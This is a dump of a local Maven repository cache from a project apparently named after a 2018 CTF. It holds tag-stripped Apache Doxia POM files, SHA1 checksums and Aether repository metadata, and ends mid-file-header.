http://java.sun.com/j2se/1.4.2/docs/api/ http://plexus.codehaus.org/plexus-utils/apidocs/ http://junit.sourceforge.net/javadoc/ org.codehaus.plexus plexus-javadoc 1.0 org.apache.maven.plugins maven-release-plugin https://svn.apache.org/repos/asf/maven/doxia/doxia/tags maven-surefire-plugin never org.codehaus.plexus plexus-maven-plugin 1.3.5 reporting org.apache.maven.plugins maven-javadoc-plugin 1.4 true http://java.sun.com/j2se/1.4.2/docs/api/ http://plexus.codehaus.org/plexus-utils/apidocs/ http://junit.sourceforge.net/javadoc/ org.codehaus.plexus plexus-javadoc 1.0 org.apache.maven.plugins maven-jxr-plugin true ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.0/doxia-1.0.pom.sha1 ================================================ 250d5a027daedc96539e3b3def7da7911feb6aae ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.0-alpha-7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:35 CST 2018 doxia-1.0-alpha-7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.0-alpha-7/doxia-1.0-alpha-7.pom ================================================ 4.0.0 org.apache.maven.doxia doxia pom Doxia 1.0-alpha-7 http://maven.apache.org/doxia jira http://jira.codehaus.org/browse/DOXIA continuum
      doxia-dev@maven.apache.org
      Doxia Developer List doxia-dev-subscribe@maven.apache.org doxia-dev-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/ Doxia User List doxia-users-subscribe@maven.apache.org doxia-users-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-doxia-users/ Doxia Commits List doxia-commits-subscribe@maven.apache.org doxia-commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/ Jason van Zyl jason@maven.org Developer -5 Brett Porter brett@apache.org Developer +10 Emmanuel Venisse emmanuel@venisse.net Developer 1 scm:svn:http://svn.apache.org/repos/asf/maven/doxia/tags/doxia-1.0-alpha-7 scm:svn:https://svn.apache.org/repos/asf/maven/doxia/tags/doxia-1.0-alpha-7 http://svn.apache.org/viewcvs.cgi/maven/doxia/tags/doxia-1.0-alpha-7 org.codehaus.plexus plexus-maven-plugin descriptor doxia-core doxia-sink-api doxia-site-renderer doxia-decoration-model repo1 Maven Central Repository scp://repo1.maven.org/home/projects/maven/repository-staging/to-ibiblio/maven2 snapshots Maven Central Development Repository scp://repo1.maven.org/home/projects/maven/repository-staging/snapshots/maven2 website scp://minotaur.apache.org/www/maven.apache.org/doxia/
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.0-alpha-7/doxia-1.0-alpha-7.pom.sha1 ================================================ fff8727b6ff366d624669f4b8dc4d4c7316bbb0c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:48 CST 2018 doxia-1.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.1/doxia-1.1.pom ================================================ 4.0.0 org.apache.maven maven-parent 11 ../../pom/maven/pom.xml org.apache.maven.doxia doxia 1.1 pom Doxia Doxia is a content generation framework that provides powerful techniques for generating static and dynamic content, supporting a variety of markup languages. http://maven.apache.org/doxia/doxia 2005 Doxia Developer List doxia-dev@maven.apache.org doxia-dev-subscribe@maven.apache.org doxia-dev-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/ http://www.mail-archive.com/doxia-dev@maven.apache.org http://www.nabble.com/Doxia---dev-f11816.html http://maven.doxia.dev.markmail.org/ Doxia User List doxia-users@maven.apache.org doxia-users-subscribe@maven.apache.org doxia-users-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-doxia-users/ http://www.mail-archive.com/doxia-users@maven.apache.org http://www.nabble.com/Doxia---Users-f14483.html http://maven.doxia.users.markmail.org/ Doxia Commits List doxia-commits-subscribe@maven.apache.org doxia-commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/ http://www.mail-archive.com/doxia-commits@maven.apache.org http://maven.doxia.commits.markmail.org/ Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://www.nabble.com/Maven---Issues-f15573.html http://maven.issues.markmail.org/ 2.0.6 doxia-logging-api doxia-sink-api doxia-test-docs doxia-core doxia-modules doxia-book doxia-maven-plugin scm:svn:http://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.1 scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.1 http://svn.apache.org/viewcvs.cgi/maven/doxia/doxia/tags/doxia-1.1 jira http://jira.codehaus.org/browse/DOXIA apache.website scp://people.apache.org/www/maven.apache.org/doxia/doxia ${project.version} org.apache.maven.doxia doxia-sink-api ${projectVersion} org.apache.maven.doxia doxia-logging-api ${projectVersion} org.apache.maven.doxia doxia-test-docs ${projectVersion} org.apache.maven.doxia doxia-core ${projectVersion} org.apache.maven.doxia doxia-core ${projectVersion} test-jar org.apache.maven.doxia doxia-module-apt ${projectVersion} org.apache.maven.doxia doxia-module-confluence ${projectVersion} org.apache.maven.doxia doxia-module-docbook-simple ${projectVersion} org.apache.maven.doxia doxia-module-fml ${projectVersion} org.apache.maven.doxia doxia-module-fo ${projectVersion} org.apache.maven.doxia doxia-module-latex ${projectVersion} org.apache.maven.doxia doxia-module-itext ${projectVersion} org.apache.maven.doxia doxia-module-rtf ${projectVersion} org.apache.maven.doxia doxia-module-twiki ${projectVersion} org.apache.maven.doxia doxia-module-xdoc ${projectVersion} org.apache.maven.doxia doxia-module-xhtml ${projectVersion} org.apache.maven.doxia doxia-book ${projectVersion} org.apache.maven.doxia doxia-maven-plugin ${projectVersion} org.codehaus.plexus plexus-container-default 1.0-alpha-30 org.codehaus.plexus plexus-utils 1.5.7 junit junit 3.8.2 test src/main/resources ${build.directory}/generated-site/xsd **/*.xsd org.apache.maven.plugins maven-release-plugin https://svn.apache.org/repos/asf/maven/doxia/doxia/tags maven-surefire-plugin never org.codehaus.plexus plexus-maven-plugin 1.3.5 org.codehaus.modello modello-maven-plugin 1.0 maven-project-info-reports-plugin 2.1.1 org.codehaus.plexus plexus-maven-plugin descriptor maven-project-info-reports-plugin 2.1.1 remove-temp maven-antrun-plugin clean-download clean run reporting org.apache.maven.plugins maven-javadoc-plugin 1.4 http://java.sun.com/j2se/1.4.2/docs/api/ http://plexus.codehaus.org/plexus-utils/apidocs/ http://junit.sourceforge.net/javadoc/ org.codehaus.plexus plexus-javadoc 1.0 reporting-aggregate org.apache.maven.plugins maven-jxr-plugin true org.apache.maven.plugins maven-javadoc-plugin true 1.4 http://java.sun.com/j2se/1.4.2/docs/api/ http://plexus.codehaus.org/plexus-utils/apidocs/ http://junit.sourceforge.net/javadoc/ org.codehaus.plexus plexus-javadoc 1.0 aggregate test-aggregate ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.1/doxia-1.1.pom.sha1 ================================================ b2306ce11082ee839fa2deee1fe4f1122c15227c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:02:08 CST 2018 doxia-1.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.3/doxia-1.3.pom ================================================ 4.0.0 org.apache.maven maven-parent 21 ../../pom/maven/pom.xml org.apache.maven.doxia doxia 1.3 pom Doxia Doxia is a content generation framework that provides powerful techniques for generating static and dynamic content, supporting a variety of markup languages. http://maven.apache.org/doxia/doxia/ 2005 Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://oldnabble.com/Maven---Users-f178.html http://markmail.org/list/org.apache.maven.users Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://old.nabble.com/Maven-Developers-f179.html http://markmail.org/list/org.apache.maven.dev Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-commits http://www.mail-archive.com/commits@maven.apache.org http://old.nabble.com/Maven---Commits-f15575.html http://markmail.org/list/org.apache.maven.commits Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://old.nabble.com/Maven---Issues-f15573.html http://markmail.org/list/org.apache.maven.issues Old Doxia Developer List (closed) http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/ http://www.mail-archive.com/doxia-dev@maven.apache.org http://www.nabble.com/Doxia---dev-f11816.html http://markmail.org/list/org.apache.maven.doxia-dev Old Doxia User List (closed) http://mail-archives.apache.org/mod_mbox/maven-doxia-users/ http://www.mail-archive.com/doxia-users@maven.apache.org http://www.nabble.com/Doxia---Users-f14483.html http://markmail.org/list/org.apache.maven.doxia-users Old Doxia Commits List (closed) http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/ http://www.mail-archive.com/doxia-commits@maven.apache.org http://markmail.org/list/org.apache.maven.doxia-commits Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://www.nabble.com/Maven---Issues-f15573.html http://markmail.org/list/org.apache.maven.issues Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://www.nabble.com/Maven-Announcements-f15617.html http://markmail.org/list/org.apache.maven.announces Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://www.nabble.com/Maven---Notifications-f15574.html http://markmail.org/list/org.apache.maven.notifications ${mavenVersion} doxia-logging-api doxia-sink-api doxia-test-docs doxia-core doxia-modules scm:svn:http://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.3 scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.3 http://svn.apache.org/viewcvs.cgi/maven/doxia/doxia/tags/doxia-1.3 jira http://jira.codehaus.org/browse/DOXIA Jenkins https://builds.apache.org/job/doxia/ apache.website scp://people.apache.org/www/maven.apache.org/doxia/doxia 2.0.6 ${project.version} org.apache.maven.doxia doxia-sink-api ${projectVersion} org.apache.maven.doxia doxia-logging-api ${projectVersion} org.apache.maven.doxia doxia-test-docs ${projectVersion} org.apache.maven.doxia doxia-core ${projectVersion} org.apache.maven.doxia doxia-core ${projectVersion} test-jar org.apache.maven.doxia doxia-module-apt ${projectVersion} org.apache.maven.doxia doxia-module-confluence ${projectVersion} org.apache.maven.doxia doxia-module-docbook-simple ${projectVersion} org.apache.maven.doxia doxia-module-fml ${projectVersion} org.apache.maven.doxia doxia-module-fo ${projectVersion} org.apache.maven.doxia doxia-module-latex ${projectVersion} org.apache.maven.doxia doxia-module-itext ${projectVersion} org.apache.maven.doxia doxia-module-rtf ${projectVersion} org.apache.maven.doxia doxia-module-twiki ${projectVersion} org.apache.maven.doxia doxia-module-xdoc ${projectVersion} org.apache.maven.doxia doxia-module-xhtml ${projectVersion} org.codehaus.plexus plexus-container-default 1.0-alpha-30 org.codehaus.plexus plexus-utils 2.0.5 junit junit 3.8.2 test src/main/resources ${project.build.directory}/generated-site/xsd **/*.xsd org.apache.maven.plugins maven-release-plugin https://svn.apache.org/repos/asf/maven/doxia/doxia/tags org.codehaus.plexus plexus-maven-plugin 1.3.5 org.codehaus.mojo clirr-maven-plugin maven-site-plugin scp://people.apache.org/www/maven.apache.org/doxia/doxia-${project.version} org.codehaus.plexus plexus-maven-plugin descriptor org.codehaus.mojo clirr-maven-plugin verify check org/apache/maven/doxia/document/* remove-temp maven-antrun-plugin clean-download clean run reporting org.apache.maven.plugins maven-changes-plugin 2.6 Type,Key,Summary,Resolution,Assignee 1000 true Key jira-report org.apache.maven.plugins maven-jxr-plugin 2.3 non-aggregate jxr aggregate aggregate org.apache.maven.plugins maven-javadoc-plugin non-aggregate javadoc aggregate aggregate ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.3/doxia-1.3.pom.sha1 ================================================ 846b81565bf421e1bff91493d84764c818f42ad0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:43 CST 2018 doxia-1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.4/doxia-1.4.pom ================================================ 4.0.0 org.apache.maven maven-parent 23 ../../pom/maven/pom.xml org.apache.maven.doxia doxia 1.4 pom Doxia Doxia is a content generation framework that provides powerful techniques for generating static and dynamic content, supporting a variety of markup languages. http://maven.apache.org/doxia/doxia/ 2005 Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://oldnabble.com/Maven---Users-f178.html http://markmail.org/list/org.apache.maven.users Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://old.nabble.com/Maven-Developers-f179.html http://markmail.org/list/org.apache.maven.dev Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-commits http://www.mail-archive.com/commits@maven.apache.org http://old.nabble.com/Maven---Commits-f15575.html http://markmail.org/list/org.apache.maven.commits Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://old.nabble.com/Maven---Issues-f15573.html http://markmail.org/list/org.apache.maven.issues Old Doxia Developer List (closed) http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/ http://www.mail-archive.com/doxia-dev@maven.apache.org http://www.nabble.com/Doxia---dev-f11816.html http://markmail.org/list/org.apache.maven.doxia-dev Old Doxia User List (closed) http://mail-archives.apache.org/mod_mbox/maven-doxia-users/ http://www.mail-archive.com/doxia-users@maven.apache.org http://www.nabble.com/Doxia---Users-f14483.html http://markmail.org/list/org.apache.maven.doxia-users Old Doxia Commits List (closed) http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/ http://www.mail-archive.com/doxia-commits@maven.apache.org http://markmail.org/list/org.apache.maven.doxia-commits Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://www.nabble.com/Maven---Issues-f15573.html http://markmail.org/list/org.apache.maven.issues Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://www.nabble.com/Maven-Announcements-f15617.html http://markmail.org/list/org.apache.maven.announces Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://www.nabble.com/Maven---Notifications-f15574.html http://markmail.org/list/org.apache.maven.notifications Valters Vingolds Manuel Blechschmidt ${mavenVersion} doxia-logging-api doxia-sink-api doxia-test-docs doxia-core doxia-modules scm:svn:http://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.4 scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.4 http://svn.apache.org/viewcvs.cgi/maven/doxia/doxia/tags/doxia-1.4 jira http://jira.codehaus.org/browse/DOXIA Jenkins https://builds.apache.org/job/doxia/ apache.website scm:svn:https://svn.apache.org/repos/infra/websites/production/maven-doxia/content/${maven.site.path} 2.0.6 doxia-archives/doxia-LATEST org.apache.maven.doxia doxia-sink-api ${project.version} org.apache.maven.doxia doxia-logging-api ${project.version} org.apache.maven.doxia doxia-test-docs ${project.version} org.apache.maven.doxia doxia-core ${project.version} org.apache.maven.doxia doxia-core ${project.version} test-jar org.apache.maven.doxia doxia-module-apt ${project.version} org.apache.maven.doxia doxia-module-confluence ${project.version} org.apache.maven.doxia doxia-module-docbook-simple ${project.version} org.apache.maven.doxia doxia-module-fml ${project.version} org.apache.maven.doxia doxia-module-fo ${project.version} org.apache.maven.doxia doxia-module-latex ${project.version} org.apache.maven.doxia doxia-module-itext ${project.version} org.apache.maven.doxia doxia-module-rtf ${project.version} org.apache.maven.doxia doxia-module-twiki ${project.version} org.apache.maven.doxia doxia-module-xdoc ${project.version} org.apache.maven.doxia doxia-module-xhtml ${project.version} org.codehaus.plexus plexus-container-default 1.0-alpha-30 org.codehaus.plexus plexus-utils 3.0.10 org.codehaus.plexus plexus-component-annotations 1.5.5 junit junit 4.10 test src/main/resources ${project.build.directory}/generated-site/xsd **/*.xsd org.apache.maven.plugins maven-release-plugin https://svn.apache.org/repos/asf/maven/doxia/doxia/tags true org.codehaus.mojo clirr-maven-plugin org.apache.maven.plugins maven-scm-publish-plugin ${project.build.directory}/staging ${maven.site.cache}/doxia/${maven.site.path} true org.codehaus.plexus plexus-component-metadata generate-metadata org.codehaus.mojo clirr-maven-plugin verify check org/apache/maven/doxia/document/* org/apache/maven/doxia/module/markdown/MarkdownToDoxiaHtmlSerializer remove-temp maven-antrun-plugin clean-download clean run reporting org.apache.maven.plugins maven-changes-plugin 2.6 Type,Key,Summary,Resolution,Assignee 1000 true Key jira-report org.apache.maven.plugins maven-jxr-plugin 2.3 non-aggregate jxr aggregate aggregate org.apache.maven.plugins maven-javadoc-plugin non-aggregate javadoc aggregate aggregate ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.4/doxia-1.4.pom.sha1 ================================================ 121c5566d364de8190fcab422b41870acb86f2de ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-core/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 doxia-core-1.4.jar>central= doxia-core-1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-core/1.4/doxia-core-1.4.jar.sha1 ================================================ 1e9ee5aa729da72e9e9884462782c005592d2075 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-core/1.4/doxia-core-1.4.pom ================================================ 4.0.0 org.apache.maven.doxia doxia 1.4 ../pom.xml doxia-core Doxia :: Core Doxia core classes and interfaces. org.apache.maven.doxia doxia-sink-api org.apache.maven.doxia doxia-logging-api org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default org.codehaus.plexus plexus-component-annotations xerces xercesImpl 2.9.1 commons-lang commons-lang 2.4 org.apache.httpcomponents httpclient 4.0.2 org.apache.httpcomponents httpcore 4.0.1 ${basedir}/src/main/resources/ true org.apache.maven.plugins maven-jar-plugin test-jar org.codehaus.modello modello-maven-plugin descriptor generate-sources java xpp3-reader xpp3-writer xsd docs pre-site xdoc xsd 1.0.1 src/main/mdo/document.mdo ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-core/1.4/doxia-core-1.4.pom.sha1 ================================================ c63b7012f6fc2f9636ed7e37c4e6cf3b59ad4021 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-decoration-model/1.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:02:09 CST 2018 doxia-decoration-model-1.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-decoration-model/1.3/doxia-decoration-model-1.3.pom ================================================ 4.0.0 doxia-sitetools org.apache.maven.doxia 1.3 ../pom.xml doxia-decoration-model Decoration Model The Decoration Model handles the decoration descriptor for sites, also known as site.xml. http://maven.apache.org/doxia/doxia-sitetools/doxia-decoration-model/ org.codehaus.plexus plexus-utils org.codehaus.modello modello-maven-plugin src/main/mdo/decoration.mdo 1.3.0 1.0.0 descriptor generate-sources xpp3-writer java xpp3-reader xsd descriptor-site pre-site xdoc xsd org.codehaus.plexus plexus-maven-plugin descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-decoration-model/1.3/doxia-decoration-model-1.3.pom.sha1 ================================================ b5a1b9d49410326e37020dfa716ceb7901c40469 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-decoration-model/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 doxia-decoration-model-1.4.pom>central= doxia-decoration-model-1.4.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-decoration-model/1.4/doxia-decoration-model-1.4.jar.sha1 ================================================ ffa7fabafef8ba0accc794d025f9790320220e1e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-decoration-model/1.4/doxia-decoration-model-1.4.pom ================================================ 4.0.0 doxia-sitetools org.apache.maven.doxia 1.4 ../pom.xml doxia-decoration-model Doxia :: Decoration Model The Decoration Model handles the decoration descriptor for sites, also known as site.xml. http://maven.apache.org/doxia/doxia-sitetools/doxia-decoration-model/ org.codehaus.plexus plexus-utils org.codehaus.modello modello-maven-plugin src/main/mdo/decoration.mdo 1.4.0 1.0.0 descriptor generate-sources xpp3-writer java xpp3-reader xsd descriptor-site pre-site xdoc xsd ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-decoration-model/1.4/doxia-decoration-model-1.4.pom.sha1 ================================================ deaf255b7f237392dde3f76100300a41c8409532 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-integration-tools/1.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 doxia-integration-tools-1.5.jar>central= doxia-integration-tools-1.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-integration-tools/1.5/doxia-integration-tools-1.5.jar.sha1 ================================================ ee43d4ccb9e5cc4067ac4f4de9b50e89de2f1191 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-integration-tools/1.5/doxia-integration-tools-1.5.pom ================================================ 4.0.0 org.apache.maven.doxia doxia-tools 2 ../doxia-tools/pom.xml doxia-integration-tools 1.5 Doxia Integration Tools A collection of tools to help the integration of Doxia in Maven plugins. 2.2.1 scm:svn:http://svn.apache.org/repos/asf/maven/doxia/doxia-tools/tags/doxia-integration-tools-1.5 scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia-tools/tags/doxia-integration-tools-1.5 http://svn.apache.org/viewvc/maven/doxia/doxia-tools/tags/doxia-integration-tools-1.5 jira http://jira.codehaus.org/browse/DOXIATOOLS/component/15480 1.3 1.3 2.2.1 org.apache.maven.reporting maven-reporting-api 3.0 commons-io commons-io 1.4 org.apache.maven maven-artifact ${mavenVersion} org.apache.maven maven-artifact-manager ${mavenVersion} org.apache.maven maven-model ${mavenVersion} org.apache.maven maven-project ${mavenVersion} org.apache.maven maven-plugin-api ${mavenVersion} org.apache.maven.doxia doxia-logging-api ${doxiaVersion} org.apache.maven.doxia doxia-decoration-model ${doxiaSitetoolsVersion} org.codehaus.plexus plexus-container-default 1.0-alpha-9 org.codehaus.plexus plexus-i18n 1.0-beta-7 org.codehaus.plexus plexus-component-api org.codehaus.plexus plexus-utils 2.0.5 org.codehaus.plexus plexus-component-annotations org.codehaus.plexus plexus-interpolation 1.14 junit junit 3.8.2 test org.apache.maven.shared maven-plugin-testing-harness 1.0 test org.codehaus.plexus plexus-component-metadata create-component-descriptor generate-metadata org.codehaus.mojo l10n-maven-plugin 1.0-alpha-2 ca cs da de es fr gl hu it ja ko lt nl no pl pt pt_BR ru sk sv tr zh_CN zh_TW ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-integration-tools/1.5/doxia-integration-tools-1.5.pom.sha1 ================================================ b2384c4865857d55209a95ac4a21f2d358984f57 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:48 CST 2018 doxia-logging-api-1.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.1/doxia-logging-api-1.1.pom ================================================ 4.0.0 doxia org.apache.maven.doxia 1.1 ../pom.xml doxia-logging-api Doxia :: Logging API Doxia Logging API. org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.1/doxia-logging-api-1.1.pom.sha1 ================================================ 511c87192bc6c0883d077ba7ae7ddbe8a2d06fa9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:02:06 CST 2018 doxia-logging-api-1.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.3/doxia-logging-api-1.3.pom ================================================ 4.0.0 doxia org.apache.maven.doxia 1.3 ../pom.xml doxia-logging-api Doxia :: Logging API Doxia Logging API. http://maven.apache.org/doxia/doxia/doxia-logging-api/ org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.3/doxia-logging-api-1.3.pom.sha1 ================================================ 7e790be737ddf90d7dc519899c735c34ed80ee4f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 doxia-logging-api-1.4.jar>central= doxia-logging-api-1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.4/doxia-logging-api-1.4.jar.sha1 ================================================ fd0ab30404ac0fca5f672eee70acf5d17a1ea856 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.4/doxia-logging-api-1.4.pom ================================================ 4.0.0 doxia org.apache.maven.doxia 1.4 ../pom.xml doxia-logging-api Doxia :: Logging API Doxia Logging API. org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-logging-api/1.4/doxia-logging-api-1.4.pom.sha1 ================================================ 042598efe5bf93859b9366c333c2398af28a2bb5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-apt/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 doxia-module-apt-1.4.jar>central= doxia-module-apt-1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-apt/1.4/doxia-module-apt-1.4.jar.sha1 ================================================ 2b6fc70f6906e74eee049cc30f8385e49381c16f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-apt/1.4/doxia-module-apt-1.4.pom ================================================ 4.0.0 doxia-modules org.apache.maven.doxia 1.4 ../pom.xml doxia-module-apt Doxia :: APT Module A Doxia module for Almost Plain Text source documents. APT format is supported both as source and target formats. org.codehaus.plexus plexus-utils ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-apt/1.4/doxia-module-apt-1.4.pom.sha1 ================================================ ea9c06223beac7056ead3a5f59089a722cefc3c1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-fml/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 doxia-module-fml-1.4.jar>central= doxia-module-fml-1.4.pom>central= ================================================ FILE: 